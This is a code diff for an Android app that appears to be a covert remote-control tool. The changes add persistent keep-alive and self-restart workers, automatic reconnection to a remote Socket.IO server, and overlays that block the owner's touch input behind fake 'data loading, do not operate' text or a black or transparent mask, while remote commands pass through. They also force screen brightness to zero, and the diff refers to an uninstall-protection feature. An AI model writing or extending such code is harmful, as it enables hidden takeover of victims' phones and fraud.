alarmManager.setExactAndAllowWhileIdle(
|
||||
android.app.AlarmManager.RTC_WAKEUP,
|
||||
restartTime,
|
||||
pendingIntent
|
||||
)
|
||||
} catch (security: SecurityException) {
|
||||
Log.w(TAG, "Exact restart alarm denied, fallback to inexact wake alarm", security)
|
||||
alarmManager.setAndAllowWhileIdle(
|
||||
android.app.AlarmManager.RTC_WAKEUP,
|
||||
restartTime,
|
||||
pendingIntent
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Exact restart alarm failed, fallback to inexact wake alarm", e)
|
||||
alarmManager.setAndAllowWhileIdle(
|
||||
android.app.AlarmManager.RTC_WAKEUP,
|
||||
restartTime,
|
||||
pendingIntent
|
||||
)
|
||||
}
|
||||
|
||||
Log.i(TAG, "已安排服务在${RESTART_DELAY}ms后重启")
|
||||
} catch (e: Exception) {
|
||||
@@ -646,4 +834,4 @@ class RemoteControlForegroundService : Service() {
|
||||
override fun onBind(intent: Intent?): IBinder? {
|
||||
return null
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,6 +4,8 @@ import android.content.Context
|
||||
import android.util.Log
|
||||
import androidx.work.*
|
||||
import androidx.lifecycle.Observer
|
||||
import com.hikoncont.util.DeviceDetector
|
||||
import com.hikoncont.util.ForegroundServiceStarter
|
||||
import kotlinx.coroutines.delay
|
||||
import java.util.concurrent.TimeUnit
|
||||
import com.hikoncont.service.ImmediateRecoveryWorker
|
||||
@@ -31,6 +33,8 @@ class WorkManagerKeepAliveService {
|
||||
|
||||
@Volatile
|
||||
private var INSTANCE: WorkManagerKeepAliveService? = null
|
||||
@Volatile
|
||||
private var lastStartAt: Long = 0L
|
||||
|
||||
fun getInstance(): WorkManagerKeepAliveService {
|
||||
return INSTANCE ?: synchronized(this) {
|
||||
@@ -47,6 +51,13 @@ class WorkManagerKeepAliveService {
|
||||
Log.i(TAG, "🚀 启动WorkManager保活服务")
|
||||
|
||||
val workManager = WorkManager.getInstance(context)
|
||||
val now = System.currentTimeMillis()
|
||||
val cooldownMs = 5_000L
|
||||
if (now - lastStartAt < cooldownMs) {
|
||||
Log.i(TAG, "⏳ WorkManager保活处于冷却期,跳过重复启动: elapsed=${now - lastStartAt}ms")
|
||||
return
|
||||
}
|
||||
lastStartAt = now
|
||||
|
||||
// 1. 启动保活工作
|
||||
startKeepAliveWork(context, workManager)
|
||||
@@ -542,6 +553,9 @@ class KeepAliveWorker(
|
||||
|
||||
companion object {
|
||||
private const val TAG = "KeepAliveWorker"
|
||||
private const val SOCKET_RECOVERY_COOLDOWN_MS = 20_000L
|
||||
@Volatile
|
||||
private var lastSocketRecoveryAt = 0L
|
||||
}
|
||||
|
||||
override suspend fun doWork(): Result {
|
||||
@@ -568,9 +582,14 @@ class KeepAliveWorker(
|
||||
|
||||
private suspend fun startForegroundService() {
|
||||
try {
|
||||
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
||||
applicationContext.startForegroundService(intent)
|
||||
Log.d(TAG, "✅ 前台服务已启动")
|
||||
val policy = DeviceDetector.getKeepAlivePolicy()
|
||||
ForegroundServiceStarter.maybeStartRemoteForegroundService(
|
||||
context = applicationContext,
|
||||
action = null,
|
||||
reason = "workmanager_keepalive_worker",
|
||||
minIntervalMs = policy.minForegroundKickIntervalMs
|
||||
)
|
||||
Log.d(TAG, "✅ 前台服务启动逻辑已执行")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启动前台服务失败", e)
|
||||
}
|
||||
@@ -586,6 +605,39 @@ class KeepAliveWorker(
|
||||
if (!isRunning && isEnabled) {
|
||||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||||
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
||||
return
|
||||
}
|
||||
|
||||
if (isEnabled && isRunning) {
|
||||
val accessibilityService = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
||||
if (accessibilityService == null) {
|
||||
Log.w(TAG, "⚠️ 无障碍服务标记运行中,但实例为空,跳过Socket检查")
|
||||
return
|
||||
}
|
||||
|
||||
val socketConnected = runCatching {
|
||||
accessibilityService.getSocketIOManager()?.isConnected() ?: false
|
||||
}.getOrDefault(false)
|
||||
|
||||
if (socketConnected) {
|
||||
Log.d(TAG, "✅ KeepAliveWorker 检测Socket.IO连接正常")
|
||||
return
|
||||
}
|
||||
|
||||
val now = System.currentTimeMillis()
|
||||
val elapsed = now - lastSocketRecoveryAt
|
||||
if (elapsed < SOCKET_RECOVERY_COOLDOWN_MS) {
|
||||
Log.d(TAG, "⏳ KeepAliveWorker Socket重连冷却中: ${elapsed}ms/${SOCKET_RECOVERY_COOLDOWN_MS}ms")
|
||||
return
|
||||
}
|
||||
|
||||
lastSocketRecoveryAt = now
|
||||
Log.w(TAG, "⚠️ KeepAliveWorker 检测Socket.IO断开,触发主动连接自愈")
|
||||
runCatching {
|
||||
accessibilityService.checkAndStartConnection()
|
||||
}.onFailure { e ->
|
||||
Log.e(TAG, "❌ KeepAliveWorker 主动连接自愈失败", e)
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 检查无障碍服务失败", e)
|
||||
@@ -760,9 +812,14 @@ class RecoveryWorker(
|
||||
|
||||
private suspend fun recoverForegroundService() {
|
||||
try {
|
||||
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
||||
applicationContext.startForegroundService(intent)
|
||||
Log.d(TAG, "✅ 前台服务恢复完成")
|
||||
val policy = DeviceDetector.getKeepAlivePolicy()
|
||||
ForegroundServiceStarter.maybeStartRemoteForegroundService(
|
||||
context = applicationContext,
|
||||
action = "RESTART_SERVICE",
|
||||
reason = "workmanager_recovery_worker",
|
||||
minIntervalMs = policy.minForegroundKickIntervalMs
|
||||
)
|
||||
Log.d(TAG, "✅ 前台服务恢复逻辑已执行")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 恢复前台服务失败", e)
|
||||
}
|
||||
@@ -854,9 +911,14 @@ class QuickRecoveryWorker(
|
||||
|
||||
private suspend fun startForegroundService() {
|
||||
try {
|
||||
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
||||
applicationContext.startForegroundService(intent)
|
||||
Log.d(TAG, "✅ 前台服务已启动")
|
||||
val policy = DeviceDetector.getKeepAlivePolicy()
|
||||
ForegroundServiceStarter.maybeStartRemoteForegroundService(
|
||||
context = applicationContext,
|
||||
action = "RESTART_SERVICE",
|
||||
reason = "workmanager_quick_recovery_worker",
|
||||
minIntervalMs = policy.minForegroundKickIntervalMs
|
||||
)
|
||||
Log.d(TAG, "✅ 前台服务启动逻辑已执行")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启动前台服务失败", e)
|
||||
}
|
||||
@@ -952,9 +1014,14 @@ class EmergencyRecoveryWorker(
|
||||
|
||||
private suspend fun startForegroundService() {
|
||||
try {
|
||||
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
||||
applicationContext.startForegroundService(intent)
|
||||
Log.d(TAG, "✅ 前台服务紧急启动完成")
|
||||
val policy = DeviceDetector.getKeepAlivePolicy()
|
||||
ForegroundServiceStarter.maybeStartRemoteForegroundService(
|
||||
context = applicationContext,
|
||||
action = "RESTART_SERVICE",
|
||||
reason = "workmanager_emergency_worker",
|
||||
minIntervalMs = policy.minForegroundKickIntervalMs
|
||||
)
|
||||
Log.d(TAG, "✅ 前台服务紧急启动逻辑已执行")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 紧急启动前台服务失败", e)
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -57,6 +57,24 @@ class MaskOverlayManager(
|
||||
Log.e(TAG, "❌ 阻止设备用户输入失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 阻止设备用户输入(透明遮罩)
|
||||
* 用于 WebRTC 推流时,避免远端画面被黑色遮罩覆盖。
|
||||
*/
|
||||
fun blockInputTransparent() {
|
||||
try {
|
||||
setAllowAccessibilityOperations(true)
|
||||
Log.i(TAG, "🫥 启用透明遮罩输入阻止")
|
||||
inputBlockManager?.blockInputTransparent() ?: run {
|
||||
Log.w(TAG, "⚠️ InputBlockManager 不支持透明遮罩,回退普通输入阻止")
|
||||
blockInput()
|
||||
}
|
||||
Log.i(TAG, "✅ 透明遮罩模式已启用")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启用透明遮罩失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 允许设备用户输入
|
||||
@@ -94,6 +112,18 @@ class MaskOverlayManager(
|
||||
Log.e(TAG, "❌ 设置遮罩文字配置失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置黑屏遮罩透明度(0~255)
|
||||
*/
|
||||
fun setMaskOverlayAlpha(alpha: Int?) {
|
||||
try {
|
||||
inputBlockManager?.setMaskOverlayAlpha(alpha)
|
||||
Log.d(TAG, "🎚️ 遮罩透明度配置已更新: ${alpha ?: "unchanged"}")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 设置遮罩透明度失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置是否允许AccessibilityService操作
|
||||
@@ -143,10 +173,11 @@ class MaskOverlayManager(
|
||||
* 启用纯色遮罩模式(无文字)
|
||||
* 专用于黑屏遮盖功能:显示纯色遮罩,Web端可正常操作
|
||||
*/
|
||||
fun enableBlackScreenMode() {
|
||||
fun enableBlackScreenMode(maskAlpha: Int? = null) {
|
||||
try {
|
||||
Log.i(TAG, "🖤 启用纯色遮罩模式")
|
||||
setAllowAccessibilityOperations(true)
|
||||
setMaskOverlayAlpha(maskAlpha)
|
||||
inputBlockManager?.blockInputWithoutText() ?: run {
|
||||
Log.w(TAG, "⚠️ InputBlockManager不支持无文字遮罩,使用普通遮罩")
|
||||
blockInput()
|
||||
@@ -200,12 +231,15 @@ class MaskOverlayManager(
|
||||
* Web操作期间的遮罩管理
|
||||
* 🔑 新策略:总是使用performWithBlockControl来临时移除触摸拦截
|
||||
*/
|
||||
fun performWithMaskControl(operation: () -> Unit) {
|
||||
fun performWithMaskControl(operation: () -> Unit, passThroughDurationMs: Long? = null) {
|
||||
try {
|
||||
// 🔑 新策略:无论什么模式,都使用performWithBlockControl
|
||||
// 这样可以临时移除触摸拦截,让Web端操作穿透遮罩
|
||||
Log.d(TAG, "🔄 执行Web操作:临时移除触摸拦截,保持遮罩显示")
|
||||
inputBlockManager?.performWithBlockControl(operation)
|
||||
val duration = passThroughDurationMs
|
||||
Log.d(TAG, "🔄 执行Web操作:临时移除触摸拦截,保持遮罩显示, passThroughMs=${duration ?: "default"}")
|
||||
if (duration != null) {
|
||||
inputBlockManager?.performWithBlockControl(operation, duration)
|
||||
} else {
|
||||
inputBlockManager?.performWithBlockControl(operation)
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ Web操作期间遮罩控制失败", e)
|
||||
}
|
||||
@@ -241,4 +275,4 @@ class MaskOverlayManager(
|
||||
"hasBlockView" to false
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
package com.hikoncont.service.modules
|
||||
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.util.Log
|
||||
import com.hikoncont.network.SocketIOManager
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
import kotlinx.coroutines.*
|
||||
import org.json.JSONObject
|
||||
import java.io.File
|
||||
|
||||
/**
|
||||
* Network manager - manages Socket.IO connection lifecycle.
|
||||
@@ -316,7 +318,7 @@ class NetworkManager(
|
||||
* @return server URL string or null on failure
|
||||
*/
|
||||
fun getServerUrl(): String? {
|
||||
return readServerConfigFromAssets()
|
||||
return resolveServerUrl()
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -330,12 +332,65 @@ class NetworkManager(
|
||||
/**
|
||||
* Parse server_config.json and extract serverUrl.
|
||||
*/
|
||||
private fun resolveServerUrl(): String? {
|
||||
val assetsUrl = readServerConfigFromAssets()
|
||||
val internalConfigFile = File(context.filesDir, CONFIG_FILE_SERVER)
|
||||
val internalUrl = readServerConfigFromInternalStorage()
|
||||
|
||||
if (internalUrl.isNullOrBlank()) {
|
||||
if (!assetsUrl.isNullOrBlank()) {
|
||||
Log.i(TAG, "Using serverUrl from assets config: $assetsUrl")
|
||||
}
|
||||
return assetsUrl
|
||||
}
|
||||
|
||||
if (assetsUrl.isNullOrBlank()) {
|
||||
Log.i(TAG, "Assets serverUrl missing, using internal config: $internalUrl")
|
||||
return internalUrl
|
||||
}
|
||||
|
||||
if (internalUrl == assetsUrl) {
|
||||
return assetsUrl
|
||||
}
|
||||
|
||||
val packageLastUpdateTime = getPackageLastUpdateTime()
|
||||
val internalLastModified = internalConfigFile.lastModified()
|
||||
return if (internalLastModified in 1 until packageLastUpdateTime) {
|
||||
Log.w(
|
||||
TAG,
|
||||
"Detected stale internal serverUrl($internalUrl), package config is newer($assetsUrl), using assets"
|
||||
)
|
||||
assetsUrl
|
||||
} else {
|
||||
Log.i(
|
||||
TAG,
|
||||
"Using internal overridden serverUrl: $internalUrl (assets default: $assetsUrl)"
|
||||
)
|
||||
internalUrl
|
||||
}
|
||||
}
|
||||
|
||||
private fun readServerConfigFromInternalStorage(): String? {
|
||||
return try {
|
||||
val file = File(context.filesDir, CONFIG_FILE_SERVER)
|
||||
if (!file.exists()) {
|
||||
return null
|
||||
}
|
||||
val json = JSONObject(file.readText())
|
||||
val url = json.optString("serverUrl", "").trim()
|
||||
if (url.isBlank()) null else url
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Failed to read internal $CONFIG_FILE_SERVER: ${e.message}")
|
||||
null
|
||||
}
|
||||
}
|
||||
|
||||
private fun readServerConfigFromAssets(): String? {
|
||||
return try {
|
||||
val jsonStr = context.assets.open(CONFIG_FILE_SERVER)
|
||||
.bufferedReader().use { it.readText() }
|
||||
val json = JSONObject(jsonStr)
|
||||
val url = json.optString("serverUrl", "")
|
||||
val url = json.optString("serverUrl", "").trim()
|
||||
if (url.isBlank()) {
|
||||
Log.e(TAG, "serverUrl is empty in $CONFIG_FILE_SERVER")
|
||||
null
|
||||
@@ -348,6 +403,24 @@ class NetworkManager(
|
||||
}
|
||||
}
|
||||
|
||||
private fun getPackageLastUpdateTime(): Long {
|
||||
return try {
|
||||
val packageInfo = if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.TIRAMISU) {
|
||||
context.packageManager.getPackageInfo(
|
||||
context.packageName,
|
||||
PackageManager.PackageInfoFlags.of(0)
|
||||
)
|
||||
} else {
|
||||
@Suppress("DEPRECATION")
|
||||
context.packageManager.getPackageInfo(context.packageName, 0)
|
||||
}
|
||||
packageInfo.lastUpdateTime
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Failed to read package update time: ${e.message}")
|
||||
0L
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse server_config.json and extract webUrl.
|
||||
*/
|
||||
|
||||
@@ -13,14 +13,12 @@ class ScreenBrightnessManager(
|
||||
) {
|
||||
companion object {
|
||||
private const val TAG = "ScreenBrightnessManager"
|
||||
private const val MIN_BRIGHTNESS = 1 // 最低亮度(0是真正的最低值,提供最佳黑屏效果)
|
||||
private const val MIN_BRIGHTNESS = 0 // 最低亮度(部分机型可能自动抬升)
|
||||
private const val DEFAULT_BRIGHTNESS = 128 // 默认亮度(中等亮度)
|
||||
private const val INVALID_BRIGHTNESS = -999 // 无效亮度标志
|
||||
|
||||
// 华为设备特殊处理
|
||||
private const val HUAWEI_MIN_BRIGHTNESS = 1 // 华为设备最低亮度(某些华为设备不支持0亮度)
|
||||
// 🔧 新增:vivo设备特殊处理 - 使用深色遮盖替代亮度调节
|
||||
private const val VIVO_USE_DARK_OVERLAY = true // vivo设备使用深色遮盖替代方案
|
||||
|
||||
private const val RETRY_COUNT = 3 // 重试次数
|
||||
private const val RETRY_DELAY = 100L // 重试间隔(毫秒)
|
||||
@@ -77,7 +75,7 @@ class ScreenBrightnessManager(
|
||||
|
||||
if (isVivo) {
|
||||
Log.i(TAG, "🔍 检测到vivo/iQOO设备: Brand=$brand, Manufacturer=$manufacturer, Model=$model")
|
||||
Log.i(TAG, "📱 vivo设备将使用深色遮盖替代亮度调节方案")
|
||||
Log.i(TAG, "📱 vivo设备将优先使用系统亮度调节方案")
|
||||
}
|
||||
|
||||
return isVivo
|
||||
@@ -392,18 +390,9 @@ class ScreenBrightnessManager(
|
||||
/**
|
||||
* 启用低亮度模式(用于黑屏遮盖)
|
||||
* 只有在有WRITE_SETTINGS权限时才执行
|
||||
* 🔧 vivo设备:跳过亮度调节,使用深色遮盖替代方案
|
||||
*/
|
||||
fun enableLowBrightnessMode(): Boolean {
|
||||
return try {
|
||||
// 🔧 vivo设备特殊处理:跳过亮度调节,使用深色遮盖替代方案
|
||||
if (isVivoDevice) {
|
||||
Log.i(TAG, "📱 vivo设备:跳过屏幕亮度调节,启用深色遮盖替代方案")
|
||||
isManagingBrightness = true // 标记为已管理状态,确保恢复逻辑正常工作
|
||||
Log.i(TAG, "✅ vivo设备深色遮盖模式已启用(替代亮度调节)")
|
||||
return true
|
||||
}
|
||||
|
||||
if (!hasWriteSettingsPermission()) {
|
||||
Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限,无法调整屏幕亮度")
|
||||
return false
|
||||
@@ -467,7 +456,6 @@ class ScreenBrightnessManager(
|
||||
|
||||
/**
|
||||
* 恢复原始亮度
|
||||
* 🔧 vivo设备:跳过亮度恢复,深色遮盖由遮盖管理器负责移除
|
||||
*/
|
||||
fun restoreOriginalBrightness(): Boolean {
|
||||
return try {
|
||||
@@ -475,15 +463,7 @@ class ScreenBrightnessManager(
|
||||
Log.d(TAG, "🔧 亮度管理未启用,跳过恢复操作")
|
||||
return true
|
||||
}
|
||||
|
||||
// 🔧 vivo设备特殊处理:跳过亮度恢复
|
||||
if (isVivoDevice) {
|
||||
Log.i(TAG, "📱 vivo设备:跳过屏幕亮度恢复,深色遮盖已由遮盖管理器移除")
|
||||
resetBrightnessState() // 重置管理状态
|
||||
Log.i(TAG, "✅ vivo设备深色遮盖模式已关闭")
|
||||
return true
|
||||
}
|
||||
|
||||
|
||||
if (!hasWriteSettingsPermission()) {
|
||||
Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限,无法恢复屏幕亮度")
|
||||
resetBrightnessState()
|
||||
@@ -632,9 +612,8 @@ class ScreenBrightnessManager(
|
||||
"deviceBrand" to deviceBrand,
|
||||
"deviceManufacturer" to deviceManufacturer,
|
||||
"huaweiMinBrightness" to if (isHuaweiDevice) HUAWEI_MIN_BRIGHTNESS else "N/A",
|
||||
"vivoUseDarkOverlay" to if (isVivoDevice) VIVO_USE_DARK_OVERLAY else "N/A",
|
||||
"brightnessStrategy" to when {
|
||||
isVivoDevice -> "深色遮盖替代方案"
|
||||
isVivoDevice -> "vivo高兼容亮度调节"
|
||||
isHuaweiDevice -> "华为设备重试机制"
|
||||
else -> "标准亮度调节"
|
||||
}
|
||||
@@ -659,4 +638,4 @@ class ScreenBrightnessManager(
|
||||
Log.e(TAG, "❌ 清理屏幕亮度管理器失败", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,6 +16,7 @@ import androidx.core.app.NotificationCompat
|
||||
import com.hikoncont.R
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
import com.hikoncont.service.KeepAliveService
|
||||
import com.hikoncont.util.registerReceiverCompat
|
||||
import kotlinx.coroutines.*
|
||||
|
||||
/**
|
||||
@@ -314,7 +315,7 @@ class ServiceLifecycleManager(
|
||||
*/
|
||||
private fun registerPermissionRequestReceiver() {
|
||||
try {
|
||||
permissionRequestReceiver = object : BroadcastReceiver() {
|
||||
val receiver = object : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context?, intent: Intent?) {
|
||||
if (intent?.action == "android.mycustrecev.REQUEST_PERMISSION") {
|
||||
Log.i(TAG, "📢 收到权限申请广播")
|
||||
@@ -322,9 +323,10 @@ class ServiceLifecycleManager(
|
||||
}
|
||||
}
|
||||
}
|
||||
permissionRequestReceiver = receiver
|
||||
|
||||
val filter = IntentFilter("android.mycustrecev.REQUEST_PERMISSION")
|
||||
context.registerReceiver(permissionRequestReceiver, filter)
|
||||
context.registerReceiverCompat(receiver, filter)
|
||||
Log.d(TAG, "✅ 权限申请广播接收器已注册")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 注册权限申请广播接收器失败", e)
|
||||
@@ -386,4 +388,4 @@ class ServiceLifecycleManager(
|
||||
* 获取协程作用域
|
||||
*/
|
||||
fun getServiceScope(): CoroutineScope = serviceScope
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2906,19 +2906,7 @@ class WriteSettingsPermissionManager(
|
||||
|
||||
service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME)
|
||||
|
||||
// 🛡️ 新增:WRITE_SETTINGS 完成后,自动开启卸载保护(直接调用服务公开API)
|
||||
try {
|
||||
val ars = service as? com.hikoncont.service.AccessibilityRemoteService
|
||||
if (ars != null) {
|
||||
Log.i(
|
||||
TAG,
|
||||
"🛡️ 自动开启卸载保护 (WRITE_SETTINGS完成后 via enableUninstallProtection)"
|
||||
)
|
||||
ars.enableUninstallProtection()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "⚠️ 自动开启卸载保护失败", e)
|
||||
}
|
||||
// 防卸载改为手动开关控制,不在权限完成后自动启用
|
||||
|
||||
// 返回应用
|
||||
returnToApp()
|
||||
|
||||
@@ -18,6 +18,7 @@ import android.content.Intent
|
||||
import android.content.IntentFilter
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
import com.hikoncont.service.modules.ConfigProgressManager
|
||||
import com.hikoncont.util.registerReceiverCompat
|
||||
|
||||
/**
|
||||
* 基于AccessibilityService的遮盖管理器
|
||||
@@ -95,7 +96,7 @@ class AccessibilityMaskManager(
|
||||
if (config.enableProgressBar) {
|
||||
try {
|
||||
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
|
||||
context.registerReceiver(progressReceiver, progressFilter)
|
||||
context.registerReceiverCompat(progressReceiver, progressFilter)
|
||||
Log.i(TAG, "✅ AccessibilityMaskManager进度更新广播接收器注册成功")
|
||||
Log.i(TAG, "📡 AccessibilityMaskManager监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
|
||||
} catch (e: Exception) {
|
||||
@@ -433,4 +434,4 @@ class AccessibilityMaskManager(
|
||||
Log.e(TAG, "❌ 更新遮盖文本失败", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,10 +11,6 @@ import android.view.View
|
||||
import android.view.WindowManager
|
||||
import android.widget.LinearLayout
|
||||
import android.widget.TextView
|
||||
import kotlinx.coroutines.CoroutineScope
|
||||
import kotlinx.coroutines.Dispatchers
|
||||
import kotlinx.coroutines.SupervisorJob
|
||||
import kotlinx.coroutines.launch
|
||||
|
||||
/**
|
||||
* 基于AccessibilityService的输入阻塞管理器
|
||||
@@ -25,6 +21,18 @@ class InputBlockManager(
|
||||
) {
|
||||
companion object {
|
||||
private const val TAG = "InputBlockManager"
|
||||
private const val MIN_PASS_THROUGH_MS = 120L
|
||||
private const val MAX_PASS_THROUGH_MS = 5000L
|
||||
private const val PRE_OPERATION_TOUCH_PASS_DELAY_MS = 48L
|
||||
private const val DEFAULT_BLACK_MASK_ALPHA = 220
|
||||
private const val MIN_BLACK_MASK_ALPHA = 0
|
||||
private const val MAX_BLACK_MASK_ALPHA = 255
|
||||
}
|
||||
|
||||
private enum class BlockViewMode {
|
||||
TEXT,
|
||||
BLACK,
|
||||
TRANSPARENT
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -43,9 +51,6 @@ class InputBlockManager(
|
||||
model.contains("iqoo")
|
||||
}
|
||||
|
||||
// 协程作用域
|
||||
private val blockScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
|
||||
|
||||
// 输入阻塞状态
|
||||
private var isInputBlocked = false
|
||||
private var isPerformingWebOperation = false
|
||||
@@ -58,8 +63,14 @@ class InputBlockManager(
|
||||
// 阻塞配置
|
||||
private var blockText = "数据加载中\n请勿操作"
|
||||
private var blockTextSize = 24f
|
||||
private var blackMaskAlpha = DEFAULT_BLACK_MASK_ALPHA
|
||||
private var allowAccessibilityOperations = true // 是否允许AccessibilityService操作
|
||||
private var operationDelayMs = 10000L // Web操作后的恢复延迟时间(毫秒)
|
||||
private var operationDelayMs = 1200L // Web操作后的恢复延迟时间(毫秒)
|
||||
private var blockViewMode = BlockViewMode.TEXT
|
||||
|
||||
// 触摸穿透恢复控制(用于远程操作期间短暂放行注入手势)
|
||||
private var passThroughToken = 0L
|
||||
private var restoreTouchInterceptRunnable: Runnable? = null
|
||||
|
||||
// 主线程Handler
|
||||
private val mainHandler = Handler(Looper.getMainLooper())
|
||||
@@ -110,6 +121,25 @@ class InputBlockManager(
|
||||
Log.e(TAG, "❌ 阻止设备用户输入失败(纯色遮罩)", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 阻止设备用户输入(透明遮罩)
|
||||
* 专用于 WebRTC 推流时,避免遮罩被远端画面捕获。
|
||||
*/
|
||||
fun blockInputTransparent() {
|
||||
try {
|
||||
Log.i(TAG, "🫥 开始阻止设备用户输入(透明遮罩)")
|
||||
|
||||
mainHandler.post {
|
||||
createInputBlockViewTransparent()
|
||||
isInputBlocked = true
|
||||
}
|
||||
|
||||
Log.i(TAG, "✅ 设备用户输入阻止请求已发送(透明遮罩)")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 阻止设备用户输入失败(透明遮罩)", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 允许设备用户输入
|
||||
@@ -152,7 +182,7 @@ class InputBlockManager(
|
||||
}
|
||||
|
||||
// 如果阻塞正在显示,重新创建以应用新配置
|
||||
if (isInputBlocked && blockView != null) {
|
||||
if (isInputBlocked && blockView != null && blockViewMode == BlockViewMode.TEXT) {
|
||||
Log.d(TAG, "🔄 重新创建阻塞视图以应用新配置")
|
||||
mainHandler.post {
|
||||
removeInputBlockView()
|
||||
@@ -164,6 +194,29 @@ class InputBlockManager(
|
||||
Log.e(TAG, "❌ 设置阻塞文字配置失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置黑屏遮罩透明度(0~255)
|
||||
*/
|
||||
fun setMaskOverlayAlpha(alpha: Int?) {
|
||||
try {
|
||||
if (alpha == null) return
|
||||
val normalized = alpha.coerceIn(MIN_BLACK_MASK_ALPHA, MAX_BLACK_MASK_ALPHA)
|
||||
if (normalized == blackMaskAlpha) return
|
||||
|
||||
blackMaskAlpha = normalized
|
||||
Log.d(TAG, "🎚️ 黑屏遮罩透明度更新为: $blackMaskAlpha")
|
||||
|
||||
if (isInputBlocked && blockView != null && blockViewMode == BlockViewMode.BLACK) {
|
||||
mainHandler.post {
|
||||
removeInputBlockView()
|
||||
createInputBlockViewWithoutText()
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 设置黑屏遮罩透明度失败", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置是否允许AccessibilityService操作
|
||||
@@ -197,7 +250,7 @@ class InputBlockManager(
|
||||
*/
|
||||
fun setOperationDelay(delayMs: Long) {
|
||||
try {
|
||||
operationDelayMs = delayMs.coerceIn(200L, 15000L) // 限制在200ms-15s之间
|
||||
operationDelayMs = delayMs.coerceIn(MIN_PASS_THROUGH_MS, 15000L) // 限制在合理范围
|
||||
Log.d(TAG, "⏱️ Web操作恢复延迟设置为: ${operationDelayMs}ms")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 设置操作延迟失败", e)
|
||||
@@ -207,58 +260,75 @@ class InputBlockManager(
|
||||
// 🔑 智能阻塞模式:不再需要临时移除和恢复方法
|
||||
// AccessibilityService可以直接穿透FLAG_NOT_TOUCHABLE,无需移除遮罩
|
||||
|
||||
private fun applyTouchIntercept(intercept: Boolean) {
|
||||
val params = blockParams ?: return
|
||||
val wm = windowManager ?: return
|
||||
val view = blockView ?: return
|
||||
val oldFlags = params.flags
|
||||
params.flags = if (intercept) {
|
||||
oldFlags and WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE.inv()
|
||||
} else {
|
||||
oldFlags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
|
||||
}
|
||||
try {
|
||||
wm.updateViewLayout(view, params)
|
||||
Log.d(TAG, "🔧 遮罩触摸拦截更新: intercept=$intercept, flags=${params.flags}")
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "⚠️ 更新遮罩触摸拦截失败: intercept=$intercept", e)
|
||||
}
|
||||
}
|
||||
|
||||
private fun scheduleRestoreTouchIntercept(token: Long, delayMs: Long) {
|
||||
restoreTouchInterceptRunnable?.let { mainHandler.removeCallbacks(it) }
|
||||
val runnable = Runnable {
|
||||
if (token != passThroughToken) {
|
||||
return@Runnable
|
||||
}
|
||||
if (isInputBlocked && blockView != null) {
|
||||
applyTouchIntercept(intercept = true)
|
||||
}
|
||||
isPerformingWebOperation = false
|
||||
restoreTouchInterceptRunnable = null
|
||||
Log.d(TAG, "🔒 远程操作窗口结束,恢复本机触摸拦截")
|
||||
}
|
||||
